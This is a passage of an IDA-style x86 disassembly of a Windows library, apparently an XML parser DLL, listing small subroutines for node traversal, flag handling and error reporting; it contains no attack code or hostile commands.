loc_69B47FBC: ; CODE XREF: sub_69B47F91+57j
mov edx, [eax]
mov ecx, eax
call dword ptr [edx+48h]
cmp [ebp+arg_0], 0
jnz short loc_69B47FD1
test eax, eax
jnz short loc_69B47FDB
loc_69B47FCD: ; CODE XREF: sub_69B47F91+48j
mov al, 1
jmp short loc_69B47FEC
; ---------------------------------------------------------------------------
loc_69B47FD1: ; CODE XREF: sub_69B47F91+36j
cmp eax, 1
jz short loc_69B47FDB
cmp eax, 6
jnz short loc_69B47FCD
loc_69B47FDB: ; CODE XREF: sub_69B47F91+3Aj
; sub_69B47F91+43j
mov eax, [esi]
lea ecx, [ebp+var_4]
push ecx
mov ecx, esi
call dword ptr [eax+6Ch]
loc_69B47FE6: ; CODE XREF: sub_69B47F91+29j
test eax, eax
jnz short loc_69B47FBC
loc_69B47FEA: ; CODE XREF: sub_69B47F91+Ej
; sub_69B47F91+1Cj
xor al, al
loc_69B47FEC: ; CODE XREF: sub_69B47F91+3Ej
pop esi
leave
retn 4
sub_69B47F91 endp
; =============== S U B R O U T I N E =======================================
sub_69B47FF1 proc near ; DATA XREF: .text:69B15340o
; .text:69B1DD90o
arg_0 = dword ptr 4
push [esp+arg_0]
mov eax, [ecx]
call dword ptr [eax+0A4h]
test eax, eax
jz short loc_69B4800A
mov edx, [eax]
mov ecx, eax
call dword ptr [edx+2Ch]
jmp short locret_69B4800C
; ---------------------------------------------------------------------------
loc_69B4800A: ; CODE XREF: sub_69B47FF1+Ej
xor eax, eax
locret_69B4800C: ; CODE XREF: sub_69B47FF1+17j
retn 4
sub_69B47FF1 endp
; =============== S U B R O U T I N E =======================================
sub_69B4800F proc near ; DATA XREF: .text:69B15368o
; .text:69B1DDB8o
mov eax, [ecx+8]
mov ecx, eax
shr ecx, 0Eh
test cl, 1
jz short loc_69B4802F
shr eax, 4
and eax, 3Fh
push eax
call sub_69B2FB4C
push eax ; lpString
call sub_69B1A587
retn
; ---------------------------------------------------------------------------
loc_69B4802F: ; CODE XREF: sub_69B4800F+Bj
xor eax, eax
retn
sub_69B4800F endp
; =============== S U B R O U T I N E =======================================
sub_69B48032 proc near ; CODE XREF: sub_69B3E780+24p
; sub_69B48756+3p ...
test byte ptr [ecx+0Ah], 1
jnz short locret_69B48042
push 8000000Ah
call sub_69B2E8B8
locret_69B48042: ; CODE XREF: sub_69B48032+4j
retn
sub_69B48032 endp
; =============== S U B R O U T I N E =======================================
sub_69B48043 proc near ; CODE XREF: sub_69B48882+Ap
push esi
mov esi, ecx
mov eax, [esi]
call dword ptr [eax+0F4h]
test eax, eax
jz short loc_69B48070
test byte ptr [eax+0Ah], 1
jnz short loc_69B48070
mov edx, [eax]
mov ecx, eax
call dword ptr [edx+108h]
cmp esi, eax
jnz short loc_69B48070
push 8000000Ah
call sub_69B2E8B8
loc_69B48070: ; CODE XREF: sub_69B48043+Dj
; sub_69B48043+13j ...
pop esi
retn
sub_69B48043 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B48072 proc near ; DATA XREF: .text:off_69B15298o
; .text:off_69B1DCE8o
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
push edi
call dword_69B92948
mov edi, eax
xor esi, esi
cmp edi, esi
jnz short loc_69B4808F
mov eax, 80004005h
jmp short loc_69B480C0
; ---------------------------------------------------------------------------
loc_69B4808F: ; CODE XREF: sub_69B48072+14j
push [ebp+arg_0]
lea ecx, [ebp+var_C]
push edi
call sub_69B1B406
push [ebp+arg_8]
mov ecx, [ebp+arg_0]
push [ebp+arg_4]
push esi
push esi
push esi
push esi
call sub_69B1C04C
lea ecx, [ebp+var_C]
mov esi, eax
call sub_69B1976C
push edi
call dword_69B92944
mov eax, esi
loc_69B480C0: ; CODE XREF: sub_69B48072+1Bj
pop edi
pop esi
leave
retn 0Ch
sub_69B48072 endp
; =============== S U B R O U T I N E =======================================
sub_69B480C6 proc near ; DATA XREF: .text:69B1DD24o
mov eax, [ecx+8]
shr eax, 11h
test al, 1
mov eax, [ecx+14h]
jz short locret_69B480D6
mov eax, [eax+14h]
locret_69B480D6: ; CODE XREF: sub_69B480C6+Bj
retn
sub_69B480C6 endp
; =============== S U B R O U T I N E =======================================
sub_69B480D7 proc near ; DATA XREF: .text:69B18120o
; .text:69B1DDDCo
mov eax, [ecx+10h]
retn
sub_69B480D7 endp
; =============== S U B R O U T I N E =======================================
sub_69B480DB proc near ; DATA XREF: .text:69B1DDE0o
xor eax, eax
cmp [ecx+10h], eax
setnz al
retn
sub_69B480DB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B480E4 proc near ; DATA XREF: .text:69B1DDE4o
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push esi
push edi
mov esi, ecx
call sub_69B17275
mov edi, eax
test edi, edi
jnz short loc_69B48103
lea eax, [esi+4]
push eax ; Target
call sub_69B18980
mov [ebp+var_4], eax
loc_69B48103: ; CODE XREF: sub_69B480E4+11j
test edi, edi
mov eax, [ebp+arg_0]
mov [esi+10h], eax
mov ecx, esi
jz short loc_69B48121
test eax, eax
jz short loc_69B4811A
call sub_69B17355
jmp short loc_69B48134
; ---------------------------------------------------------------------------
loc_69B4811A: ; CODE XREF: sub_69B480E4+2Dj
call sub_69B183BB
jmp short loc_69B48134
; ---------------------------------------------------------------------------
loc_69B48121: ; CODE XREF: sub_69B480E4+29j
test eax, eax
push [ebp+var_4]
jz short loc_69B4812F
call sub_69B1737D
jmp short loc_69B48134
; ---------------------------------------------------------------------------
loc_69B4812F: ; CODE XREF: sub_69B480E4+42j
call sub_69B183E6
loc_69B48134: ; CODE XREF: sub_69B480E4+34j
; sub_69B480E4+3Bj ...
pop edi
pop esi
leave
retn 4
sub_69B480E4 endp
; =============== S U B R O U T I N E =======================================
sub_69B4813A proc near ; DATA XREF: .text:69B1DDECo
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov [ecx+18h], eax
retn 4
sub_69B4813A endp
; =============== S U B R O U T I N E =======================================
sub_69B48144 proc near ; CODE XREF: sub_69B59D1Fj
; sub_69B59D61+13j
; DATA XREF: ...
mov eax, [ecx+1Ch]
retn
sub_69B48144 endp
; =============== S U B R O U T I N E =======================================
sub_69B48148 proc near ; CODE XREF: sub_69B59D7B+5p
; DATA XREF: .text:69B1DDF4o
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov [ecx+1Ch], eax
retn 4
sub_69B48148 endp
; =============== S U B R O U T I N E =======================================
sub_69B48152 proc near ; CODE XREF: sub_69B59D9A+4p
; DATA XREF: .text:69B1DDF8o
mov eax, [ecx+1Ch]
test al, 1
jz short loc_69B4815D
and eax, 0FFFFFFFEh
retn
; ---------------------------------------------------------------------------
loc_69B4815D: ; CODE XREF: sub_69B48152+5j
xor eax, eax
retn
sub_69B48152 endp
; =============== S U B R O U T I N E =======================================
sub_69B48160 proc near ; DATA XREF: .text:69B1DE00o
mov eax, [ecx+1Ch]
and eax, 1
retn
sub_69B48160 endp
; =============== S U B R O U T I N E =======================================
sub_69B48167 proc near ; CODE XREF: sub_69B4E634+190p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, [edi+0Ch]
dec esi
js short loc_69B48188
loc_69B48173: ; CODE XREF: sub_69B48167+1Bj
push esi
mov ecx, edi
call sub_69B8A163
cmp eax, [esp+8+arg_4]
jz short loc_69B48184
dec esi
jns short loc_69B48173
loc_69B48184: ; CODE XREF: sub_69B48167+18j
test esi, esi
jge short loc_69B481AA
loc_69B48188: ; CODE XREF: sub_69B48167+Aj
mov ecx, [esp+8+arg_8]
mov eax, [ecx]
call dword ptr [eax+3Ch]
mov edx, [eax]
push 0
mov ecx, eax
call dword ptr [edx+2Ch]
push eax
mov eax, 0C00CE017h
push eax
push eax
call sub_69B2E9D0
add esp, 10h
loc_69B481AA: ; CODE XREF: sub_69B48167+1Fj
pop edi
pop esi
retn 0Ch
sub_69B48167 endp
; =============== S U B R O U T I N E =======================================
sub_69B481AF proc near ; CODE XREF: sub_69B41554+B9p
; sub_69B41D7C+A0p ...
xor eax, eax
mov al, [ecx+0Bh]
and eax, 1Fh
push eax
call sub_69B47CF1
retn
sub_69B481AF endp
; =============== S U B R O U T I N E =======================================
sub_69B481BE proc near ; CODE XREF: sub_69B4876E+3p
; sub_69B59E43+3p
push esi
mov esi, ecx
lea eax, [esi+0Ch]
push eax
mov dword ptr [esi], offset off_69B1DCE8
call sub_69B2DEDD
mov ecx, esi
pop esi
jmp sub_69B186FA
sub_69B481BE endp
; =============== S U B R O U T I N E =======================================
sub_69B481D8 proc near ; DATA XREF: .text:69B152E0o
; .text:69B1DD30o
xor eax, eax
mov al, [ecx+0Bh]
and eax, 1Fh
retn
sub_69B481D8 endp
; =============== S U B R O U T I N E =======================================
sub_69B481E1 proc near ; DATA XREF: .text:69B15378o
; .text:69B1DDC8o
mov eax, [ecx+8]
shr eax, 4
and eax, 3Fh
retn
sub_69B481E1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B481EB proc near ; CODE XREF: sub_69B14EAC+14Ap
; sub_69B4AF3F+110p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = byte ptr 14h
push ebp
mov ebp, esp
cmp [ebp+arg_C], 0
push ebx
push esi
mov esi, [ebp+arg_8]
push edi
mov edi, ecx
jz short loc_69B4821A
mov eax, [esi+8]
shr eax, 2
test al, 1
jz short loc_69B4821A
push 0
push 0C00CE022h
push 80004005h
call sub_69B2E9D0
add esp, 0Ch
loc_69B4821A: ; CODE XREF: sub_69B481EB+Fj
; sub_69B481EB+19j
mov ebx, [ebp+arg_4]
mov ecx, [ebp+arg_0]
push ebx
call sub_69B8B00F
test eax, eax
jz short loc_69B4824E
cmp [ebp+arg_C], 0
jz short loc_69B48260
mov eax, [ebx]
push 0
mov ecx, ebx
call dword ptr [eax+2Ch]
push eax
push 0C00CE200h
push 80004005h
call sub_69B2E9D0
add esp, 10h
jmp short loc_69B48260
; ---------------------------------------------------------------------------
loc_69B4824E: ; CODE XREF: sub_69B481EB+3Dj
mov ecx, [ebp+arg_0]
push esi
push ebx
call sub_69B8B57E
or byte ptr [edi+9], 80h
or dword ptr [esi+8], 4
loc_69B48260: ; CODE XREF: sub_69B481EB+43j
; sub_69B481EB+61j
pop edi
pop esi
pop ebx
pop ebp
retn 10h
sub_69B481EB endp
; =============== S U B R O U T I N E =======================================
sub_69B48267 proc near ; CODE XREF: sub_69B4A73D+14p
; sub_69B4D02C+23p
movzx ecx, byte ptr [ecx+0Bh]
xor eax, eax
inc eax
and ecx, 1Fh
shl eax, cl
and eax, 40391h
neg eax
sbb eax, eax
neg eax
retn
sub_69B48267 endp
; =============== S U B R O U T I N E =======================================
sub_69B4827F proc near ; CODE XREF: sub_69B4C674+D2p
arg_0 = dword ptr 4
push esi
mov esi, ecx
mov eax, [esi]
push edi
call dword ptr [eax+0F4h]
mov edi, [esp+8+arg_0]
jmp short loc_69B482B4
; ---------------------------------------------------------------------------
loc_69B48291: ; CODE XREF: sub_69B4827F+37j
mov al, [esi+0Bh]
and al, 1Fh
cmp al, 3
jz short loc_69B482B8
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+0F4h]
test eax, eax
jz short loc_69B482B8
mov edx, [eax]
mov ecx, eax
mov esi, eax
call dword ptr [edx+0F4h]
loc_69B482B4: ; CODE XREF: sub_69B4827F+10j
cmp eax, edi
jnz short loc_69B48291
loc_69B482B8: ; CODE XREF: sub_69B4827F+19j
; sub_69B4827F+27j
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+0F4h]
sub eax, edi
neg eax
sbb eax, eax
pop edi
inc eax
pop esi
retn 4
sub_69B4827F endp
; =============== S U B R O U T I N E =======================================
sub_69B482CE proc near ; CODE XREF: sub_69B4BAA7+F5p
arg_0 = dword ptr 4
arg_4 = byte ptr 8
mov eax, ecx
test eax, eax
jz short locret_69B48304
xor ecx, ecx
cmp [esp+arg_4], cl
push esi
setz cl
mov esi, ecx
loc_69B482E0: ; CODE XREF: sub_69B482CE+33j
xor ecx, ecx
mov cl, [eax+0Bh]
xor edx, edx
and ecx, 1Fh
cmp ecx, [esp+4+arg_0]
setnz dl
cmp esi, edx
jnz short loc_69B48303
mov edx, [eax]
mov ecx, eax
call dword ptr [edx+0F4h]
test eax, eax
jnz short loc_69B482E0
loc_69B48303: ; CODE XREF: sub_69B482CE+25j
pop esi
locret_69B48304: ; CODE XREF: sub_69B482CE+4j
retn 8
sub_69B482CE endp
; =============== S U B R O U T I N E =======================================
sub_69B48307 proc near ; CODE XREF: sub_69B4C674+1BDp
; sub_69B4C674+1D3p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
xor ecx, ecx
mov cl, [eax+0Bh]
and ecx, 1Fh
cmp ecx, 3
jz short loc_69B48331
mov eax, [esp+arg_0]
movzx eax, byte ptr [eax+0Bh]
xor edx, edx
inc edx
shl edx, cl
and eax, 1Fh
test ds:dword_69B48358[eax*4], edx
jnz short locret_69B48352
loc_69B48331: ; CODE XREF: sub_69B48307+Fj
push 0
push lpMultiByteStr[ecx*4] ; lpMultiByteStr
call sub_69B1D494
push eax
push 0C00CE208h
push 80004005h
call sub_69B2E9D0
add esp, 10h
locret_69B48352: ; CODE XREF: sub_69B48307+28j
retn 8
sub_69B48307 endp
; ---------------------------------------------------------------------------
align 4
dword_69B48358 dd 867h dd 2 dup(0)
dd 40035h, 40h, 2 dup(0)
dd 867h, 7 dup(0)
dd 802h, 0
dd 40867h, 0
; =============== S U B R O U T I N E =======================================
sub_69B483A4 proc near ; CODE XREF: sub_69B3F90C+1D3p
; sub_69B49219+68p ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
mov esi, [esp+0Ch+arg_0]
push edi
mov edi, ecx
mov eax, [edi+8]
shr eax, 0Ah
movzx eax, al
shl eax, 0Ah
xor eax, [esi+8]
and eax, 400h
xor [esi+8], eax
mov eax, [edi]
call dword ptr [eax+108h]
mov ebx, eax
xor ebp, ebp
test ebx, ebx
jz short loc_69B48407
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+110h]
mov ebp, eax
test ebp, ebp
jnz short loc_69B48407
mov eax, [ebx]
mov ebp, [esi]
mov ecx, ebx
call dword ptr [eax+100h]
push eax
mov ecx, esi
call dword ptr [ebp+104h]
mov eax, [ebx]
push esi
mov ecx, ebx
call dword ptr [eax+104h]
jmp short loc_69B4841D
; ---------------------------------------------------------------------------
loc_69B48407: ; CODE XREF: sub_69B483A4+2Fj
; sub_69B483A4+3Fj
mov eax, [esi]
push esi
mov ecx, esi
call dword ptr [eax+104h]
test ebp, ebp
jz short loc_69B4841D
mov eax, [ebp+0]
push ebp
call dword ptr [eax+8]
loc_69B4841D: ; CODE XREF: sub_69B483A4+61j
; sub_69B483A4+70j
mov eax, [esi]
push edi
mov ecx, esi
call dword ptr [eax+0FCh]
mov eax, [edi]
push esi
mov ecx, edi
call dword ptr [eax+10Ch]
pop edi
pop esi
pop ebp
pop ebx
retn 4
sub_69B483A4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B4843A proc near ; CODE XREF: sub_69B4928E+73p
; sub_69B499AC+37p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ecx]
push esi
push edi
mov [ebp+var_8], ecx
call dword ptr [eax+108h]
mov esi, eax
test esi, esi
mov [ebp+var_4], esi
jz short loc_69B48471
mov edi, [ebp+arg_0]
loc_69B48458: ; CODE XREF: sub_69B4843A+35j
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+100h]
cmp eax, edi
jz short loc_69B4848D
cmp eax, [ebp+var_4]
mov esi, eax
jz short loc_69B4848B
test eax, eax
jnz short loc_69B48458
loc_69B48471: ; CODE XREF: sub_69B4843A+19j
; sub_69B4843A+55j
push 0
push 0C00CE207h
push 80004005h
call sub_69B2E9D0
add esp, 0Ch
loc_69B48485: ; CODE XREF: sub_69B4843A+A3j
pop edi
pop esi
leave
retn 4
; ---------------------------------------------------------------------------
loc_69B4848B: ; CODE XREF: sub_69B4843A+31j
xor esi, esi
loc_69B4848D: ; CODE XREF: sub_69B4843A+2Aj
test esi, esi
jz short loc_69B48471
mov eax, [edi]
push ebx
mov ebx, [esi]
mov ecx, edi
call dword ptr [eax+100h]
push eax
mov ecx, esi
call dword ptr [ebx+104h]
mov eax, [edi]
xor ebx, ebx
push ebx
mov ecx, edi
call dword ptr [eax+104h]
cmp [ebp+var_4], edi
jnz short loc_69B484CD
cmp [ebp+var_4], esi
mov ecx, [ebp+var_8]
mov eax, [ecx]
jnz short loc_69B484C6
push ebx
jmp short loc_69B484C7
; ---------------------------------------------------------------------------
loc_69B484C6: ; CODE XREF: sub_69B4843A+87j
push esi
loc_69B484C7: ; CODE XREF: sub_69B4843A+8Aj
call dword ptr [eax+10Ch]
loc_69B484CD: ; CODE XREF: sub_69B4843A+7Dj
mov eax, [edi]
or byte ptr [edi+9], 4
push ebx
mov ecx, edi
call dword ptr [eax+0FCh]
pop ebx
jmp short loc_69B48485
sub_69B4843A endp
; =============== S U B R O U T I N E =======================================
sub_69B484DF proc near ; CODE XREF: sub_69B48769j
; sub_69B49CB0+17p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, ecx
mov eax, [esi]
call dword ptr [eax+0F4h]
test eax, eax
jz short loc_69B4852B
mov edx, [eax]
push edi
mov ecx, eax
call dword ptr [edx+108h]
mov edi, eax
jmp short loc_69B48524
; ---------------------------------------------------------------------------
loc_69B484FD: ; CODE XREF: sub_69B484DF+47j
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+100h]
mov esi, eax
xor eax, eax
mov al, [esi+0Bh]
and eax, 1Fh
cmp eax, [esp+8+arg_4]
jnz short loc_69B48524
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+38h]
cmp eax, [esp+8+arg_0]
jz short loc_69B4852F
loc_69B48524: ; CODE XREF: sub_69B484DF+1Cj
; sub_69B484DF+36j
cmp esi, edi
jnz short loc_69B484FD
xor eax, eax
loc_69B4852A: ; CODE XREF: sub_69B484DF+52j
pop edi
loc_69B4852B: ; CODE XREF: sub_69B484DF+Dj
pop esi
retn 8
; ---------------------------------------------------------------------------
loc_69B4852F: ; CODE XREF: sub_69B484DF+43j
mov eax, esi
jmp short loc_69B4852A
sub_69B484DF endp
; =============== S U B R O U T I N E =======================================
sub_69B48533 proc near ; CODE XREF: sub_69B41A7C+55p
; sub_69B4A3AE+F2p ...
push esi
mov esi, ecx
mov eax, [esi]
call dword ptr [eax+0F4h]
test eax, eax
jz short loc_69B4856D
mov edx, [eax]
mov ecx, eax
call dword ptr [edx+108h]
cmp esi, eax
jz short loc_69B4856D
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+100h]
mov ecx, [eax+8]
shr ecx, 14h
and cl, 1
neg cl
pop esi
sbb ecx, ecx
not ecx
and eax, ecx
retn
; ---------------------------------------------------------------------------
loc_69B4856D: ; CODE XREF: sub_69B48533+Dj
; sub_69B48533+1Bj
xor eax, eax
pop esi
retn
sub_69B48533 endp
; =============== S U B R O U T I N E =======================================
sub_69B48571 proc near ; CODE XREF: sub_69B495EC+151p
arg_0 = dword ptr 4
mov dx, [ecx+8]
mov eax, [esp+arg_0]
mov [eax], dx
mov edx, [ecx+18h]
mov [eax+8], edx
mov ecx, [ecx+1Ch]
mov [eax+0Ch], ecx
retn 4
sub_69B48571 endp
; =============== S U B R O U T I N E =======================================
sub_69B4858B proc near ; CODE XREF: sub_69B14EAC+19Dp
; sub_69B4AF3F+16Bp ...
push 24h
push offset dword_69B48678
call sub_69B19C5C
mov esi, ecx
mov eax, [esi]
call dword ptr [eax+74h]
xor edi, edi
test al, al
jnz short loc_69B485AD
cmp [ebp+0Ch], edi
jz loc_69B48670
loc_69B485AD: ; CODE XREF: sub_69B4858B+17j
mov [ebp-1Ch], edi
cmp byte ptr [ebp+18h], 0
jz short loc_69B485C6
mov eax, [ebp+8]
cmp byte ptr [eax+82h], 0
mov byte ptr [ebp-1Dh], 0
jz short loc_69B485CA
loc_69B485C6: ; CODE XREF: sub_69B4858B+29j
mov byte ptr [ebp-1Dh], 1
loc_69B485CA: ; CODE XREF: sub_69B4858B+39j
or ebx, 0FFFFFFFFh
mov [ebp-24h], ebx
mov eax, [ebp+1Ch]
cmp eax, edi
jz short loc_69B485E5
cmp byte ptr [ebp-1Dh], 0
jz short loc_69B485E5
mov ecx, [eax+28h]
mov [ebp-28h], ecx
jmp short loc_69B485E8
; ---------------------------------------------------------------------------
loc_69B485E5: ; CODE XREF: sub_69B4858B+4Aj
; sub_69B4858B+50j
mov [ebp-28h], ebx
loc_69B485E8: ; CODE XREF: sub_69B4858B+58j
cmp eax, edi
jz short loc_69B485F5
cmp byte ptr [ebp-1Dh], 0
jz short loc_69B485F5
mov ebx, [eax+24h]
loc_69B485F5: ; CODE XREF: sub_69B4858B+5Fj
; sub_69B4858B+65j
mov [ebp-4], edi
mov eax, [ebp+0Ch]
cmp eax, edi
jnz short loc_69B48607
push edi
mov ecx, esi
call sub_69B47E6C
loc_69B48607: ; CODE XREF: sub_69B4858B+72j
mov esi, eax
mov [ebp-2Ch], esi
mov eax, [esi+8]
mov [ebp-30h], eax
mov ecx, [esi+0Ch]
mov [ebp-34h], ecx
lea edx, [ebp-24h]
push edx ; int
push edi ; int
mov edi, [ebp+14h]
push edi ; pvar
push ebx ; int
push dword ptr [ebp-28h] ; int
push dword ptr [ebp+10h] ; int
push eax ; cElements
push ecx ; int
call sub_69B30DEE
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+30h]
or dword ptr [ebp-4], 0FFFFFFFFh
jmp short loc_69B48661
; ---------------------------------------------------------------------------
loc_69B4863C: ; DATA XREF: .text:69B4867Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B48645: ; DATA XREF: .text:69B48680o
mov esp, [ebp-18h]
cmp byte ptr [ebp-1Dh], 0
jz short loc_69B48653
call sub_69B2E860
loc_69B48653: ; CODE XREF: sub_69B4858B+C1j
mov dword ptr [ebp-1Ch], 80004005h
or dword ptr [ebp-4], 0FFFFFFFFh
mov edi, [ebp+14h]
loc_69B48661: ; CODE XREF: sub_69B4858B+AFj
cmp dword ptr [ebp-1Ch], 0
jge short loc_69B48670
mov word ptr [edi], 0Ah
and dword ptr [edi+8], 0
loc_69B48670: ; CODE XREF: sub_69B4858B+1Cj
; sub_69B4858B+DAj
call sub_69B1853C
retn 18h
sub_69B4858B endp
; ---------------------------------------------------------------------------
dword_69B48678 dd 0FFFFFFFFh dd offset loc_69B4863C
dd offset loc_69B48645
; =============== S U B R O U T I N E =======================================
sub_69B48684 proc near ; CODE XREF: sub_69B48894+E8p
; sub_69B645E4+AFp ...
arg_0 = dword ptr 4
cmp byte ptr [ecx+4], 0
mov eax, [esp+arg_0]
mov dword ptr [ecx], 5
mov [ecx+8], eax
jz short locret_69B4869D
mov ecx, [eax]
push eax
call dword ptr [ecx+4]
locret_69B4869D: ; CODE XREF: sub_69B48684+11j
retn 4
sub_69B48684 endp
; =============== S U B R O U T I N E =======================================
sub_69B486A0 proc near ; CODE XREF: sub_69B8BCA2+95p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
shl eax, 4
xor eax, [ecx+8]
and eax, 3F0h
xor [ecx+8], eax
retn 4
sub_69B486A0 endp
; =============== S U B R O U T I N E =======================================
sub_69B486B5 proc near ; CODE XREF: sub_69B4A077+59p
; sub_69B4A0ED+16p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_69B47D9F
test eax, eax
jz short locret_69B486CF
mov ecx, [eax+8]
shr ecx, 14h
test cl, 1
jnz short locret_69B486CF
xor eax, eax
locret_69B486CF: ; CODE XREF: sub_69B486B5+Bj
; sub_69B486B5+16j
retn 4
sub_69B486B5 endp
; =============== S U B R O U T I N E =======================================
sub_69B486D2 proc near ; CODE XREF: sub_69B48F40+ADp
; sub_69B498EF+11p ...
push ebx
push esi
mov esi, ecx
mov al, [esi+0Bh]
and al, 1Fh
xor ebx, ebx
cmp al, 0Bh
jnz short loc_69B48713
mov eax, [esi]
push edi
call dword ptr [eax+38h]
mov ecx, [esi+0Ch]
mov edi, eax
call sub_69B3DABE
cmp edi, ebx
jz short loc_69B48712
cmp eax, ebx
jz short loc_69B48712
push ebx
push edi
mov ecx, eax
call sub_69B8AFBA
cmp eax, ebx
jz short loc_69B48712
push dword ptr [esi+0Ch]
mov ecx, eax
call sub_69B8C56F
mov ebx, eax
loc_69B48712: ; CODE XREF: sub_69B486D2+21j
; sub_69B486D2+25j ...
pop edi
loc_69B48713: ; CODE XREF: sub_69B486D2+Dj
pop esi
mov eax, ebx
pop ebx
retn
sub_69B486D2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B48718 proc near ; CODE XREF: sub_69B48C0F+3j
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push esi
push [ebp+arg_0]
mov esi, ecx
mov eax, [esi+0Ch]
and eax, 0FFFFFFFEh
mov [ebp+var_4], eax
lea eax, [ebp+var_4]
push eax
call sub_69B17320
mov eax, [ebp+var_4]
test eax, eax
jz short loc_69B48743
or eax, 1
mov [esi+0Ch], eax
jmp short loc_69B48747
; ---------------------------------------------------------------------------
loc_69B48743: ; CODE XREF: sub_69B48718+21j
and dword ptr [esi+0Ch], 0
loc_69B48747: ; CODE XREF: sub_69B48718+29j
pop esi
leave
retn 4
sub_69B48718 endp
; =============== S U B R O U T I N E =======================================
sub_69B4874C proc near ; DATA XREF: .text:69B15350o
; .text:69B1DDA0o
mov eax, [ecx+8]
shr eax, 0Eh
and eax, 1
retn
sub_69B4874C endp
; =============== S U B R O U T I N E =======================================
sub_69B48756 proc near ; DATA XREF: .text:69B152E8o
; .text:69B1DD38o
push esi
mov esi, ecx
call sub_69B48032
mov eax, [esi]
mov ecx, esi
pop esi
jmp dword ptr [eax+110h]
sub_69B48756 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_69B48769 proc near ; DATA XREF: .text:69B1532Co
; .text:69B1DD7Co
jmp sub_69B484DF
sub_69B48769 endp
; =============== S U B R O U T I N E =======================================
sub_69B4876E proc near ; DATA XREF: .text:69B1DCF4o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_69B481BE
test [esp+4+arg_0], 1
jz short loc_69B48783
push esi
call sub_69B2E3BD
loc_69B48783: ; CODE XREF: sub_69B4876E+Dj
mov eax, esi
pop esi
retn 4
sub_69B4876E endp
; =============== S U B R O U T I N E =======================================
sub_69B48789 proc near ; DATA XREF: .text:69B15304o
; .text:69B1DD54o
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
mov edi, [esp+10h+arg_0]
mov ebp, ecx
mov ecx, [edi]
mov eax, [ecx]
call dword ptr [eax+0F4h]
xor ebx, ebx
jmp short loc_69B487BD
; ---------------------------------------------------------------------------
loc_69B487A1: ; CODE XREF: sub_69B48789+38j
push edi
mov ecx, esi
call sub_69B47D9F
test eax, eax
jnz short loc_69B487D0
cmp esi, ebp
jz short loc_69B487C5
mov [edi], esi
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+0F4h]
loc_69B487BD: ; CODE XREF: sub_69B48789+16j
mov esi, eax
test esi, esi
jnz short loc_69B487A1
jmp short loc_69B487E5
; ---------------------------------------------------------------------------
loc_69B487C5: ; CODE XREF: sub_69B48789+26j
mov ecx, ebp
call sub_69B48032
xor ebx, ebx
jmp short loc_69B487E5
; ---------------------------------------------------------------------------
loc_69B487D0: ; CODE XREF: sub_69B48789+22j
mov cl, [eax+0Bh]
and cl, 1Fh
cmp cl, 0Bh
jnz short loc_69B487E3
mov edx, [eax]
push edi
mov ecx, eax
call dword ptr [edx+68h]
loc_69B487E3: ; CODE XREF: sub_69B48789+50j
mov ebx, eax
loc_69B487E5: ; CODE XREF: sub_69B48789+3Aj
; sub_69B48789+45j
pop edi
pop esi
pop ebp
mov eax, ebx
pop ebx
retn 4
sub_69B48789 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B487EE proc near ; DATA XREF: .text:69B15308o
; .text:69B1DD58o
var_4 = byte ptr -4
push ebp
mov ebp, esp
push ecx
push esi
push edi
mov esi, ecx
xor edi, edi
test byte ptr [esi+0Ah], 0Ch
jnz short loc_69B4881B
mov eax, [esi]
lea ecx, [ebp+var_4]
push ecx
mov ecx, esi
call dword ptr [eax+68h]
jmp short loc_69B48817
; ---------------------------------------------------------------------------
loc_69B4880B: ; CODE XREF: sub_69B487EE+2Bj
mov eax, [esi]
lea ecx, [ebp+var_4]
push ecx
mov ecx, esi
inc edi
call dword ptr [eax+6Ch]
loc_69B48817: ; CODE XREF: sub_69B487EE+1Bj
test eax, eax
jnz short loc_69B4880B
loc_69B4881B: ; CODE XREF: sub_69B487EE+Ej
mov eax, edi
pop edi
pop esi
leave
retn
sub_69B487EE endp
; =============== S U B R O U T I N E =======================================
sub_69B48821 proc near ; CODE XREF: sub_69B495EC+C9p
; sub_69B8C7D8+30p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov edx, [eax+8]
push esi
mov esi, [eax+0Ch]
mov eax, [eax+10h]
push edi
push esi
mov edi, ecx
mov ecx, [edx+14h]
mov edx, [edx+10h]
push eax
mov eax, [ecx]
push edx
